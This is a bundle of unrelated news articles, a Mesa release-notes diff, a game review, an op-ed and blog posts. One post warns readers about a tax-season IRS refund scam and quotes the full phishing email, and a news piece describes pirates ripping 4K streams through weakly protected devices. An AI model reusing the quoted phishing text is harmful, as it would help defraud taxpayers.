-Protesters at a May Day march in Seattle, Washington clashed with police during what law enforcement called "a riot" on Friday. Officers deployed flashbangs and pepper spray to try and get the crowd under control.  Hundreds of demonstrators took to the streets Friday to participate in pro-worker, anti-police-brutality rallies, as well as one that was billed as anti-capitalist. According to the Seattle Times, one protester broke a window and others threw rocks at police before law enforcement responded with flash bangs.  Pepper spray flash bangs craziness. Police took back the street #MayDaySea#Videopic.twitter.com/jY9XF1ANZ7 — Lauren Frohne (@laurenfrohne) May 2, 2015  "As we continue to witness acts of violence from protesters, we urge folks on Capitol Hill to exercise caution," said Mayor Ed Murray in a statement. "Seattle Police are advising that businesses on Broadway and other Capitol Hill streets should take reasonable precautions to protect their employees and customers. Police will continue to work to protect people and property in the area, and will make arrests when necessary."  Seattle police officer injured in May Day violence. #Q13FOXpic.twitter.com/Vbmfai6aeb — Thomas Brock (@Q13FoxNews_Tom) May 2, 2015  Three officers have been injured at the scene of a melee at Broadway and Howell, the Seattle Police Department tweeted, two of which were hurt seriously. A total of fifteen people have been arrested across the city, police said.  One protester has reportedly thrown a burning object into a vehicle. Police said fires have been ignited at Seattle Plaza and that 25 vehicles have been damaged.  Anarchists light a flag and spray paint the silver sculpture outside Seattle Central #MayDaySeapic.twitter.com/TfA6CVtvNr — Bettina Hansen (@bettinahansen) May 2, 2015  Police tweeted that an "explosive device" was thrown at officers and said the situation has escalated into a riot.  "This is no longer demonstration management, this has turned into a riot" -Captain Chris Fowler. #MayDaySea — Seattle Police Dept. (@SeattlePD) May 2, 2015  Meanwhile, video surfaced of individuals breaking windows as they made their way through the city.  The Seattle Times reported that earlier in the day, a Black Lives Matter march planned to meet up with the May Day March for Workers and Immigrants Rights. Earlier in the day, police said they were concerned about a third group of self-proclaimed anarchists who might try to cause chaos in the city.  The line has been drawn at Broadway and Pine. Flash bangs and pepper spray dispersing crowd. #MayDaySeapic.twitter.com/INoM3K3vY4 — Jon Humbert (@jonhumbert) May 2, 2015  In this video, some of the masked protesters can be seen marching and chanting.  NOW: Broadway at Thomas, anti-capitalists on the move and chanting. pic.twitter.com/3TPmlmu0Iz — Janet Kim (@JanetKimTV) May 2, 2015  For most of the day, the marches were peaceful even though protesters disrupted traffic at times.  When confrontation first broke out between police and protesters, officers were reportedly hit with flags and sticks.  Rewind: the moment the police moved in. Dropped bikes. Protesters hit cops with their flag sticks #MayDaySea#Videopic.twitter.com/dwLyIOLtYF — Lauren Frohne (@laurenfrohne) May 2, 2015  Seattle Police Captain Chris Fowler explained the situation to a reporter on the ground.  Amid the chaos, some helped clean up what others made a mess of.
-index 1edd8fc..2b1181d 100644  --- a/  +++ b/ diff --git a/VERSION b/VERSIONindex 1edd8fc..2b1181d 100644--- a/ VERSION +++ b/ VERSION @@ -1 +1 @@ -10.7.0-devel +11.0.0-devel  index 92ae20f..1b63331 100644  --- a/  +++ b/ diff --git a/docs/relnotes/10.7.0.html b/docs/relnotes/11.0.0.htmlindex 92ae20f..1b63331 100644--- a/ docs/relnotes/10.7.0.html +++ b/ docs/relnotes/11.0.0.html @@ -14,19 +14,19 @@  
 -
Mesa 10.7.0 Release Notes / TBD
 +
Mesa 11.0.0 Release Notes / TBD
 
 -Mesa 10.7.0 is a new development release. +Mesa 11.0.0 is a new development release. People who are concerned with stability and reliability should stick -with a previous release or wait for Mesa 10.7.1. +with a previous release or wait for Mesa 11.0.1. 
 
 -Mesa 10.7.0 implements the OpenGL 3.3 API, but the version reported by +Mesa 11.0.0 implements the OpenGL 4.1 API, but the version reported by glGetString(GL_VERSION) or glGetIntegerv(GL_MAJOR_VERSION) / glGetIntegerv(GL_MINOR_VERSION) depends on the particular driver being used. -Some drivers don't support all the features required in OpenGL 3.3. OpenGL -3.3 is only available if requested at context creation +Some drivers don't support all the features required in OpenGL 4.1. OpenGL +4.1 is only available if requested at context creation because compatibility contexts are not supported. 

-YouTube has been told to stop playing about 20,000 songs, but Irving Azoff's clients are finding the takedown process to be frustrating.  There are songs, and then there are dances. Here's a song-and-dance routine that, according to one of the lawyers involved, could amount to a billion-dollar lawsuit against YouTube.  Through a new outfit called Global Music Rights, music industry heavyweight Irving Azoff manages the performance rights of some 20,000 songs including works composed by the Eagles, Pharrell Williams, John Lennon and others. Many of the songs were previously handled by ASCAP and BMI, which thanks to consent decrees with the Justice Department, were subject to blanket licenses anytime a digital outlet like YouTube requested one. Not anymore.  And now the dance.  Why Irving Azoff's New Company Has (Some) Leverage Over YouTube  Azoff has informed YouTube that it lacks performance rights for these 20,000 songs -- including ones by Smokey Robinson, Chris Cornell, and George and Ira Gershwin. Since November, when YouTube announced the coming launch of a subscription service to compete with Spotify and Pandora, Azoff has kept up the pressure to license, but Google isn't backing down.  That's quite upsetting to Azoff, who is prepared to launch an all-out legal war if negotiations don't prove fruitful and if YouTube refuses to remove the works. Why YouTube and not, say, Spotify? "Because they are the ones that have been least cooperative and the company our clients feel are the worst offenders," Azoff tells The Hollywood Reporter. "It's also their attitude."  The dance, whether this be a tango or waltz, is more than a basic two-step.  For example, maybe YouTube actually has rights to perform these 20,000 songs. PROs like ASCAP and BMI often issue multi-year licenses, and just because a songwriter withdraws in the middle of a licensing term doesn't mean that the licensee loses rights until the expiration of the term. But neither YouTube nor ASCAP are letting Don Henley, Pharrell Williams and their reps know the situation, according to GMR attorney Howard King.  In a letter sent earlier this month to YouTube, King writes, "Without providing a shred of documentation, you blithely proffer that YouTube can ignore the Notices because it operates under blanket licenses from performing rights organizations other than Global. However, you refuse to provide the details of any such license agreements, presumably because no such agreements exist for YouTube's present uses of the Songs in any service, but certainly with respect to its recently added Music Key service."  Proving rights would hardly end this dance.  Although YouTube has enacted anti-piracy measures since the video site's early days a decade ago, some things haven't changed much at all: Copyright holders insist that it's Google's responsibility to get a license while Google respond that the onus is upon rights-holders to tell it what specifically to remove. In other words, is the use of copyrighted works online opt-in or opt-out?  On Dec. 4, Google lawyer David Kramer responded to King'sletter with one of his own attacking a "misguided" legal position. "This is now your third attempt to circumvent the straightforward DMCA notice-and-takedown process that Congress devised to handle situations like this," writesKramer, a partner at Wilson Sonsini  According to Kramer's letter, GMR must not only submit a statement under penalty of perjury that it is authorized to act on behalf of the owner, and not only identify the works at issue, but also identify URLs where infringing material resides. That would mean sending lots of takedown notices over some 20,000 songs being used in probably hundreds of thousands of videos.  "It is disingenuous that they can keep their hands over eyes until we tell them the URL," King tells THR. "They know where it is. We don't want this to become whack-a-mole."  King points to ContentID, YouTube's digital fingerprinting technology that advertises itself as a system by which copyright holders can "easily identify and manage their content on YouTube," a system where "copyright owners get to decide what happens when content in a video on YouTube matches a work they own."  ContentID has paid out more than a billion dollars since inception, but is it purely a monetization tool or can it be used by songwriters like Pharrell Williams to remove unlicensed material? King believes that YouTube has been holding ContentID out to be the latter -- which he says means that YouTube "can find sound recording by The Eagles and program it [to remove] in a millisecond."  In the absence of doing so, King asserts that YouTube loses its safe harbor under the Digital Millennium Copyright Act because it has actual knowledge of infringing activities, or at least, awareness of facts or circumstances where infringing activity is apparent. YouTube disputes this position — it previously went several rounds with Viacom over the matter, and so-called "red flag awareness" will also be addressed again soon by the 2nd Circuit Court of Appeals.  In the meantime, both sides will continue their posture until someone decides to end the pre-litigation dance.  "This will result in someone blinking, and if it is not them, there will be a billion dollar copyright infringement lawsuit filed," says King, still hopeful that it won't end up in court, but warning that YouTube's "music service will be adversely impacted if they let this go to adjudication. It seems silly that they would let this be test case."  The back-and-forth letters by the lawyers involved in the battle are below.  This article was originally published by The Hollywood Reporter.
-Story  Song of the Deep is a metroidvania-style action-adventure game following a young girl’s quest into the unknown to find her missing father. Merryn waits all night for here father to return from the sea, and he never does. Fearing the worst Merryn constructs a submarine to explore the deep sea, making friends and enemies along the way. Merryn must brave the waters fending off monsters, and solving puzzles to accomplish her quest.  Gameplay  Your main weapon throughout the game is a grappling hook, which is also your main tool for solving puzzles. The hook is used to pull, break, and drag objects to complete the puzzle or move on to the next area. Combat was fun, however the occurence of enemy encounters was sub-par. There are two big elements to the game which is combat, and solving puzzles. They both subtract from an enjoyable experience when together. When you are solely exploring and killing off squids, it was nice and enjoyable adventure. Enemies largely became a giant nuisance while trying solve puzzles. Solving puzzles was a unique and fun experience, but I quickly became very annoyed when enemies came to interrupt.  A shop keeper helps you along the game to upgrade all your equipment. The map stays true to the metroidvania style allowing many areas to only become further explorable, upon acquiring an item pickup elsewhere. There are health and missile upgrades vastly spread upon the map as well.  Graphics  The visual design of Song of the Deep is very well done. The narrative is presented in a "child's storybook" type of way. Turning pages of color pencil drawn illustrations. The gameplay itself is gorgeous and immersive. There were times when I was in completely open water, and I had an extreme sense of anxiety as if I was drowning or claustrophobic. Swimming through vibrant patches of seaweed was an incredibly pleasing experience. The artstyle is point where Song of the Deep definitely stands out. You will be able to see for yourself the gameplay graphic style in a few gifs posted on this page.  Sounds  Hand in hand with the visual design, sounds and music were brilliant. The soundtrack created an immersive underwater experience. The music efficiently accompanied the gameplay giving a sense of panic, darkness, beauty etc.  Difficulty  The entire play through took me just under 6 hours. If you go for a 100% it would probably take double that to 12 hours. Definitely worth it at the $15 price point. That's actually so good for the quality of game it is. I played on the intermediate difficulty, and would not say that was any challenging. It was very comfortable. The puzzles were not too hard nor were the enemies. A big complaint I have is that the enemies would become so annoying while trying to solve the puzzles. I believe the puzzles were so very well done that this could have been only puzzles and no combat. Fighting enemies while exploring and not solving puzzles was much more enjoyable.  Summary  Song of the Deep is definitely worth giving a play and especially at only being priced $15. Underwater games have always been a tough setting for anyone to enjoy a game, but Insomniac Games did a great job with this one. I'll credit this game as "The best underwater game since Bioshock". I would recommend this game for its beautiful design, and cute storyline. Overall I really enjoyed this game despite the frustrating enemy encounters. The story is simple yet enticing, causing me to be really determined to go on and solve puzzles. As far as the puzzles go, they were just excellent (If you have patience for puzzles). If I had to give it a score I would go with 3.5/5. If you are expecting fast paced action you may be let down, however if you are a player with patience and enjoy puzzes, Song of the Deep is recommended for you.  I played Song of the Deep using a free press copy! Thanks Insomniac Games and Gamestop. Played on steam.
-ARLINGTON, Texas -- The music was a little louder in the Texas clubhouse, and there was the faint smell of champagne.  Otherwise, the Rangers were still waiting on a bigger celebration -- for winning the AL West.  Texas clinched a wild-card spot and moved to the cusp of the division title, with Adrian Beltre's three-run double backing Derek Holland in a 5-3 victory over the Los Angeles Angels on Thursday night.  Editor's Picks Thursday's Top 5: Rangers can surprise in October The Toronto Blue Jays will be the clear AL favorite, but the Texas Rangers are a playoff sleeper.  Adrian Beltre fuels Rangers' improbable playoff run The Rangers were three games under .500 and trailed Houston by eight games on Aug. 1. Thursday night, they locked down a playoff spot. Who knew? 1 Related  "We had a toast, yes," first-year manager Jeff Banister said. "We still have a mission to accomplish. And something that as a group of players we all talked about in spring training, when nobody else was talking about it but us."  The Rangers (87-72), in the playoffs for the first time since 2012 after an AL-worst 95 losses last season, are a win or a Houston loss away from their first division title since winning two straight and going to the World Series in 2010-11.  Texas, which fell to Tampa Bay in a playoff for a wild-card spot in 2013, lost ace Yu Darvish to season-ending elbow surgery in spring training and went 7-14 in April.  The Rangers were still eight games out on Aug. 2 but are now on the verge of becoming the fifth team in 40 years -- and the first since the Twins in 2006 -- to win a division after trailing by that many games in August.  "We knew it was going to be a chance," said shortstop Elvis Andrus, who had a couple of tough plays among five straight balls late to help preserve the lead. "We talked to everybody, we've got 60-something games ahead. Baseball is so crazy. You don't know what's going to happen."  The Angels can't defend their AL West championship, but still have a shot at the second wild card with three games left. Los Angeles (83-76) is a game behind the Astros and tied with Minnesota, which beat Cleveland 4-2.  Beltre, who had the second-most RBI in the majors in September with 29, broke a 1-all tie with a bases-clearing double off Andrew Heaney (6-4) in the fifth. Beltre scored an insurance run after a leadoff single in the seventh.  "We obviously knew coming in we needed to win every game," said Heaney, who walked a career-high five and has just one win since July 26. "Obviously, that's frustrating for me to feel like I didn't give the team a chance to win."  Holland (4-3), who missed most of the season with a left shoulder strain, allowed three hits and three runs in 6 1/3 innings for his first win since Sept. 5. The left-hander struck out six, including Kole Calhoun three times.  Calhoun also grounded out to Andrus against reliever Jake Diekman with the tying run at third to end the seventh.  Sam Dyson pitched a perfect eighth with help from two strong defensive plays by Andrus, and closer Shawn Tolleson did the same in the ninth for his 35th save in 37 chances.  Albert Pujols hit his 39th home run off Holland in the sixth. He doubled and scored the first run in the second.  HOW ABOUT HAMILTON  Josh Hamilton made a running over-the-shoulder catch in left field as he went to his knees and crashed into the wall. The Texas slugger had arthroscopic surgery to clean up the meniscus in his left knee Sept. 11. It was his third game in the outfield since surgery.  The second-inning play turned what looked like an extra-base hit into a sacrifice fly for Shane Victorino, and Hamilton scrambled to his feet to get the ball back in. Pujols had to run back to third to tag up and barely beat the relay throw.  "It hurt, but it's fine," Hamilton said.  TRAINER'S ROOM  Angels: Manager Mike Scioscia said closer Huston Street (groin) was still unavailable.  Rangers: Chirinos (left shoulder strain) made his second straight start at catcher for the first time since late July.  UP NEXT  Angels: RHP Jered Weaver (7-12, 4.76 ERA) makes his second start of the season against the Rangers. He allowed one run on four hits in six innings in a no-decision when Texas won 2-1 on Sept. 5.  Rangers: LHP Martin Perez (3-6, 4.77) has three straight wins over four starts at home, with a 2.28 ERA in those starts. He gave up two unearned runs in six innings of a 4-2 loss at Houston in his last start.
-Pirates have found a new loophole that allows them to copy 4k movies and TV-shows from Netflix and Amazon. Up until recently these high quality 4K resolution rips were nonexistent, but a flurry of new releases from various groups show that something has changed.  While the average consumer is generally not equipped to play 4K content on their TV or computer, many video geeks are looking forward to every new release.  Thus far the physical offerings have been limited to adult content mostly, with just a handful of mainstream productions. However, with the adoption of a Blu-Ray standard for Ultra High Definition video more releases will follow soon.  4K streaming releases have been available for a while already though, with Netflix and Amazon as the two key vendors in this market.  These online streams were always well protected against pirates. The High-Bandwidth Digital Copy Protection (HDCP) version 2.2 or higher is still believed to be secure today, but there are signs that pirates have found a way to bypass the protection.  Earlier this year the first 4K Netflix leak surfaced. After that it went quiet. However, a few days ago something changed, as many more releases started to appear online.  TorrentFreak spoke to a release group insider who confirmed that this is a significant change.  “Many groups started releasing 4K rips recently and they are working perfectly. I expect that 4K resolution releases will become more popular now,” TorrentFreak was told.  The new 4K leaks come from both Netflix and Amazon, suggesting that there’s a general loophole that allows pirates to circumvent the copy protection on both services.  Up until recently this was impossible to do. There were a handful of upscaled releases floating around with a lot of pixelation and low bitrates, but these don’t come close to real 4K.  The new releases are true 4K and include Amazon’s The Man in the High Castle as well as the recent pilots Edge, Good Girls Revolt, Highston, One Mississippi  and Patriot.  Amazon’s 4k leaks  Another series of high-profile 4K leaks that came out this week are of Netflix’s Jessica Jones. As with the other rips the file-sizes are much larger than traditional HD-releases, well over 10 gigabytes for a single episode.  Netflix’ Jessica Jones 4k leaks  The media info for one of the Jessica Jones leaks show that it’s 4K, at a 32.5 Mbps bitrate. Unfortunately, that doesn’t necessarily mean that the video quality is always exceptional.  “For example for Marvel’s Jessica Jones new TV series from Netflix the 4K captures look bad, because the master from Netflix is probably bad,” we were told by an insider.  Jessica Jones 4k (large)  Downloading a 4K release from Amazon or Netflix and getting a pirated copy out is not something that’s easily done. The original rips are often well over 100 gigabytes in size. Still, many groups are jumping on the 4K bandwagon.  The main question that remains is how the groups are able to circumvent the copy protection. Our source says that Amazon’s Fire TV and Roku 4K are likely sources, as they may not be as well protected as some believe.  Amazon’s Fire TV uses the weaker HDCP 1.4b protection and 23.976 frames/s, which only supports Amazon 4K releases and not Netflix.  Roku recently released their new streaming player with 4K support and native refresh rate switching, which can play Netflix’s 4K library. It arrived in stores early November, just before the 23.976 frames/s 4k rips started coming out.  Whatever the source is, the stream of new releases is unprecedented and marks the start of a new era of high quality video releases.  In recent years many people have been downloading higher quality rips already, but it will probably take a few years before 4K becomes the new standard. Overall, however, pirating video geeks will be happy with the news.
-Sheila Payton barrels down I-85 in her silver Chevrolet Sonic.  Her daughter Britney just texted four words that sent her scrambling: "On the Plane Train."  Sheila is only days away from a moment she's dreamed of for decades.  "When the doctor said it was a girl," she says, "I immediately started praying for her mate. … And I remember as she started to grow and started to date and everything, I just kept praying."  Today, Sheila's home is full of invitations, goody bags and gifts. Her cell phone is chirping with calls and texts. And her mind is racing.  This weekend, Britney is marrying her fiancé, Philip. And their flight from Columbus, Ohio, just arrived.  More than 200 people are coming to the wedding, but Sheila can't stop thinking about the one person who won't be there.  Wendell, her husband of 27 years, died of a heart attack in March.  Sheila's trying to hold it together, but she's been tearing up all week.  She knows Wendell won't walk their daughter down the aisle.  He won't dance with her at the reception.  He won't see Britney wear the wedding dress she picked out after shopping at stores in three states.  This bittersweet blend of joy and heartache is all too common at the world's busiest airport, where moments of love and loss are carried like precious cargo and unwieldy baggage.  Knowing her daughter is doing what Wendell wanted helps Sheila keep going.  "One thing I know that he would want her to do is live," she says. "This is her life, a new chapter."  As Sheila waits for Britney and Philip to pick up their luggage, she prepares herself for the first thing she knows Britney will say ("I'm hungry") and the food she'll want to go out to eat (Italian).  Circling the airport, she thinks about how amazing her only daughter is.  How, at age 2, she toted a mini-suitcase and took her first flight alone to visit an aunt in Arizona.  How she's been fearless and loved traveling ever since.  How her straight A's got her a full ride from Spelman College.  How she joined the military to pay for medical school so her family wouldn't have to.  At the curb near baggage claim, Sheila squeals when she sees Britney and Philip coming.  "Hiiiiiiiiiiiiiiii! Look at my babies!" she says, shouting so loudly about the wedding that strangers waiting nearby congratulate them.  Britney quickly tosses her luggage in the trunk and says she's ready to go.  She tells her mom she's starving, and that she wants to get Italian food.  Sheila smiles knowingly, hands Philip the car keys and gets into the back seat.
-MEATIRIE, La. >> New Orleans Saints defensive end Hau‘oli Kikaha often maintains the pleasant disposition of someone kicking back on the north shore of Oahu, even when fielding questions about his ability to bounce back from a third reconstructive knee surgery.  SHARE  ADVERTISING  MEATIRIE, La. >> New Orleans Saints defensive end Hau‘oli Kikaha often maintains the pleasant disposition of someone kicking back on the north shore of Oahu, even when fielding questions about his ability to bounce back from a third reconstructive knee surgery.  Kikaha appreciates why many would wonder if he can regain peak form following a third left anterior cruciate ligament tear since college, so he doesn’t take offense to the skepticism surrounding his comeback.  The Hawaiian and former Washington Husky also relishes the underdog role.  “When you’re the underdog, you always have to come from behind and take what’s yours,” Kikaha said. “Hopefully, it all plays out perfectly and it will be a great story.”  The Saints defense could use some good fortune. The unit has ranked 27th or worse each of the past three seasons. During that time, New Orleans has struggled to consistently apply pressure on quarterbacks, something at which Kikaha thrived at Washington, racking up a single-season school record 19 sacks in his senior season in 2014.  While the Saints were keenly aware of Kikaha’s injury history at Washington — where his first two ACL tears occurred — his ability to come back from those and set sack records convinced New Orleans that he was worth a 2015 second-round pick.  Kikaha had a promising rookie season, starting 10 of 15 games in which he played — all at outside linebacker in what was then a 3-4 defensive front. He was in on 50 tackles with four sacks, four forced fumbles and a fumble recovery. New Orleans was eager to see his growth in his second season, only to lose him for the year during a voluntary offseason workout last June.  Now New Orleans has Kikaha lining up as a pass-rushing defensive end in a scheme that currently features four down linemen and three linebackers in its base formation. During practice in full pads Monday at Saints training camp, Kikaha, who’s been wearing a protective brace on his left knee, received snaps with the first-team defense.  “He works his butt off every day. The whole offseason he was up here nonstop,” said Saints defensive assistant Brian Young, who oversees New Orleans’ pass rush. “There’s no doubt in his mind he’s going to be better than what he was before the injury.  “We’re super glad he’s back,” Young added. “We love having him around because he’s always got a smile on his face. He has fun out there. Guys respond to him.”  Coach Sean Payton also has praised Kikaha’s work ethic, recalling an instance this offseason in which he ran into Kikaha at team headquarters when the building was virtually empty at 9:30 on a Sunday night.  “The first battle is just getting the snaps and getting on the field, so he’s doing a good job there,” Payton said.  Fellow defensive end Cam Jordan said Kikaha, “looks great,” complimenting a spin move Kikaha exhibited during a recent practice.  “He wants to be on the field so bad and you can feel it,” Jordan said.  Asked how close his knee is to being fully healed, Kikaha said, “I don’t think very far at all.  “Really, it’s just proving it,” Kikaha said. “I feel like I can do things physically I’ve done in the past and might be a little better at some things mentally.  “I’ve experienced this before with this same exact injury,” Kikaha continued. “I feel great. And I felt great in the past (after rehabbing the previous two). I don’t feel like I’ve lost anything. In fact, each time I felt like I gained a little.”  To Kikaha, ACL repairs are now routine for top surgeons. The real issue, Kikaha said, is the lengthy and painful rehabilitation, and the mental commitment required to get through it.  “I’ve just noticed the difference in guys that were successful regaining form and guys that were not,” Kikaha said. “It all depends on the individual circumstances and how they feel mentally.”  Kikaha said he draws motivation from reflecting on his love of football, along with his desire to help his team and family.  “I’ve got to keep focused on that,” he said, “or I will be out, like a bunch of guys have ended up.”
-A number of migrants died after being attacked by sharks while attempting to cross into Italy from Africa, the Libyan Navy has claimed.  At least 31 people died - including three children - and more than 40 are missing after two boats attempting to cross into Europe via Libya sank. The coastguard conducted two rescue operations off the city of Garabulli, around 40 miles (60km) east of Tripoli, spokesman Colonel Abu Ajila Abdelbarri said.  The Libyan navy said that they managed to rescue 60 people from one of the boats and 140 from the second. Migrants from Somalia, Ghana, Ethiopia, Nigeria and Pakistan were among those that were rescued.  In a series of Facebook posts detailing the incident, the Navy added that "a number of bodies were devoured by sharks during the rescue".  Captain Nasser Al-Gammoudi told Italian newsapaper Il Giorno: "When we arrived in the area, off the town of Garabulli, [one] dinghy was semi-submerged and still had 44 people clinging on to it, whom we saved.  "There were lots of bodies all around and we saw there were four or five sharks swimming among them, large blue sharks, a very aggressive species. When we brought the bodies on board we noticed that some of them had been bitten, so it's possible that among the missing some may have been eaten."  However, the claims have bene dismissed by experts. Ezio Amato, a marine biologist, said that while white sharks and tiger sharks "have been known to attack lone swimmers" they have never been recorded attacking in large groups, reports The Times.  Italy's coastguard, which coordinates the rescue effort in international waters, reported that a total of 1,500 people had been rescued from the oceans in the two days before the 31 migrants died.  The 200 people rescued in the latest double operation brought back to a naval base in Tripoli and provided them with water, food and medical care.
-Criminals that perpetrate fraud online are creative if nothing else. Whenever a new event happens that might cause someone to possibly get money somewhere, they use it to their advantage. After Hurricane Katrina hit, there were phishing emails that tried to get you to donate to help victims of the Hurricane, but the money didn’t go to the victims, it went into the pockets of criminals. When Congress recently passed the stimulus package, a wave of emails was sent out telling consumers that they could qualify for all sorts of new government grants, if they paid a sum of money to get the “inside information.”  Now, it’s tax season. There’s a fresh batch of fraudulent emails making the rounds allegedly from the Internal Revenue Service telling consumers that they have an refund of about $150.00 waiting for them. If you were to click on the link, you would be sent to a website that looks suspiciously like the IRS website, but the URL is something entirely different. If you were to actually fill out the form, you would find unauthorized charges on your credit card very soon after.  Here’s a copy of the email that recently showed up in my inbox:  After the last annual calculations of your fiscal activity we have determined that you are eligible to receive a tax refund under section 501(c) (3) of the Internal Revenue Code. Tax refund value is $189.60. Please submit the tax refund request and allow us 6-9 days in order to IWP the data received. If u don’t receive your refund within 9 business days from the original IRS mailing date shown, you can start a refund trace online. If you distribute funds to other organization, your records must show wether they are exempt under section 497 (c) (15). In cases where the recipient org. is not exempt under section 497 (c) (15), you must have evidence the funds will be used for section 497 (c) (15) purposes. If you distribute fund to individuals, you should keep case histories showing the recipient’s name and address; the purpose of the award; the maner of section; and the realtionship of the recipient to any of your officers, directors, trustees, members, or major contributors. To access the form for your tax refund, please click here This notification has been sent by the Internal Revenue Service, a bureau of the Department of the Treasury. Sincerely Yours, John Stewart Director, Exempt. Organization Rulings and Agreements Letter Internal Revenue Service  Remember, that the internal revenue service does not contact tax payers via email. I would also wager to guess they know how to spell the words “you”, “whether”, “relationship”, and “manner” as well.
-Civil wars eventually come to an end, even in the Middle East. Lebanon’s civil war began in 1975 and ended after 15 years, with 120,000 deaths. But Syria’s conflict is still raging. It is now in its fifth year with at least 300,000 people dead. Millions more have become homeless, trying desperately to flee. But, incredibly, we may be witnessing the first signs of a breakthrough. As horrific as the Syrian drama has been — will we ever forget the lifeless body of 3-year-old Alan Kurdi lying face down on a Turkish beach? — history may very well remember this week as the moment when the road leading to a compromise emerged.  Refugees and migrants arrive at the Greek island of Lesbos after crossing the Aegean Sea from Turkey earlier this month. Europe is grappling with its biggest migration challenge since the Second World War. ( ARIS MESSINIS / AFP/GETTY IMAGES )  There have been two significant developments in recent days. The growing threat of Islamic State extremists in Syria and Iraq — by threatening the interests of the U.S., Russia, Iran and others — seems to have pushed traditional rivals together. For the first time, Iran has been invited by the United States to join talks in Vienna with the U.S., Russia and several other nations on a possible political resolution to the Syrian impasse. These talks were expected to start on Friday and extend through the weekend. There were also increasing signs this week from American officials that they would allow the despised Bashar Assad to stay on as Syrian president in an interim role if that led to an eventual solution. Both Iran and Russia are Assad’s most powerful backers, and no breakthrough is possible without their support.  Article Continued Below  These developments are occurring not long after the groundbreaking nuclear agreement between Iran and the world’s leading industrial powers. They raise hope that Iran can emerge as the “solution,” rather than the “problem,” in dealing with the region’s many crises. But they come as tensions increase on all sides. Many conservative Republican leaders in the U.S. are agitating for more direct American military intervention in Iraq and Syria, as if the lessons of the disastrous 2003 invasion of Iraq by the U.S. and Britain were completely forgotten. In an interview this week with CNN’s Fareed Zakaria, former British prime minister Tony Blair offered a qualified apology for the Iraq war. He was asked whether the invasion of Iraq was the principal cause of the rise of Islamic State extremists, and replied: “I think there are elements of truth to that. Of course, you can’t say those of us who removed Saddam in 2003 bear no responsibility for the situation in 2015.” It is widely believed now that the chaos created by the 2003 invasion enabled the Islamic State extremists to organize. They drew on disaffected members of the former regime and supporters of the al-Qaida faction. But Blair, who many in Britain now regard as a war criminal, was only limited in his apology. Blair felt the decision to topple Iraqi President Saddam Hussein was a correct one, although he apologized “for some of the mistakes in planning and, certainly, our mistake in our understanding of what would happen once you removed the regime.” By any measure, those are some of the obvious lessons of the Iraq invasion.  In 2003, the Canadian government was notable in its opposition to the invasion. Liberal Prime Minister Jean Chrétien resisted pressure from Blair and U.S. President George W. Bush. According to polls at the time, the government’s opposition to the invasion was supported by 70 per cent of Canadians. Stephen Harper, who was leader of the official Opposition, supported the invasion. Do you remember two years ago when the newly elected leader of Canada’s Liberal Party wondered about the “root causes” behind the bombings at the Boston Marathon? He created an uproar within Canada’s conservative echo chamber.  Article Continued Below  Editorialists and columnists huffed and puffed about Justin Trudeau’s “diplomatic maturity,” while Prime Minister Harper accused Trudeau of trying “to rationalize or make excuses” for those responsible for the bombings. A year later, in October 2014, Trudeau spoke about the 2003 Iraq invasion at the “Canada 2020” conference, saying it was sold to the public “with overheated, moralistic rhetoric that obscured real flaws in the strategy and the plan to implement it.” He went on: “It was a mission that destabilized the region, sowed further conflict, cost our allies three trillion dollars and cost thousands of people their lives. The world is still dealing with the consequences of that mistake.” Well, he was right, and we should learn from it. Hopefully, “root causes” in this new Trudeau era may again be in vogue. Tony Burman, former head of CBC News and Al Jazeera English, teaches journalism at Ryerson University. Reach him @TonyBurman or at tony.burman@gmail.com .  Read more about:
-WASHINGTON (Reuters) – An uproar over lapses by U.S. air traffic controllers will spill into Congress where critics of organized labor see an unexpected opening to push their agenda into sweeping aviation legislation.  Embarrassing disclosures of controllers sleeping on duty — even allowing first lady Michelle Obama’s plane to fly too close to another jet — have heightened scrutiny of the Federal Aviation Administration and raised questions about the agency’s ability to manage its workforce and ensure safety.  Republicans see the furor as a way to force certain proposals into a final version of a $59 billion aviation bill that lawmakers will thrash out when Congress returns in May.  These include proposals to privatize more airport towers, consolidate facilities and give FAA management more flexibility in running the sprawling air traffic system. All are part of a larger Republican effort to cut FAA spending by $4 billion.  “Sleeping on the job, near misses – those give me more ammunition when I go into negotiations,” John Mica, the Republican chairman of the House of Representatives Transportation Committee, told Reuters in an interview.  “I think this will affect it,” Mica said of the air traffic control controversies, adding that he may seek new provisions in the bill on disciplinary remedies for the worst types of mistakes made by controllers.  Lobbying on the $59 billion aviation bill will heat up in coming weeks. The legislation is already under a White House veto threat due to a provision that would to make it harder for airline and railroad unions to organize.  The House and Senate have approved different versions of the bill and will try to reconcile them in negotiations. The National Air Traffic Controllers Association and its Democratic supporters believe Mica’s cost-savings agenda is anti-union.  IMPORTANT LABOR ISSUES  Bill Voss, a former FAA controller and now an aviation safety advocate, said the air traffic lapses have undercut the union’s position on issues important to labor.  “It makes them look unprofessional,” said Voss, noting that NATCA’s influence in Congress also was weakened when Mica’s Democratic predecessor, James Oberstar, lost his bid for re-election last November.  Controllers will lean on Mica’s counterpart in the Senate, Commerce Committee Chairman John Rockefeller, a Democrat.  A NATCA spokesman declined comment on whether the tumult over controllers would affect negotiations on the aviation bill, or whether a new legislative strategy was necessary.  The union’s political action committee, however, is deemed a “heavy hitter” by the Center for Responsive Politics, a lobbying watchdog. NATCA gave more than $2 million to candidates, mostly Democrats, in last year’s congressional elections, according to the center’s fund-raising data.  To counter the bad publicity, the 15,000-member union has run ads promoting controllers as sentinels of safety. Although critics agree aviation is safe, controller errors are up and there are questions about training and glitches in the transition to a software-driven system for monitoring 9 million flights a year.  Edward Wytkind, the pointman on transport lobbying for the AFL-CIO labor group, urged policy leaders to learn from recent events, which he described as “unfortunate byproducts” of an imperfect system that leaves controllers chronically tired.  Mica, who shepherded the aviation bill through the House, believes the union is too powerful. In a recent meeting with FAA Administrator Randy Babbitt, Mica discussed the agency’s performance and steps to address errors and training.  “I would favor zero tolerance” in certain situations, Mica said, noting that some controllers simply receive suspensions or transfers if they make a serious mistake.  Babbitt fired two controllers this week for sleeping on the job and the FAA is investigating other related cases and reviewing policies to reduce fatigue and improve performance.  (Editing by Christopher Wilson)  Source: Reuters US Online Report Domestic News
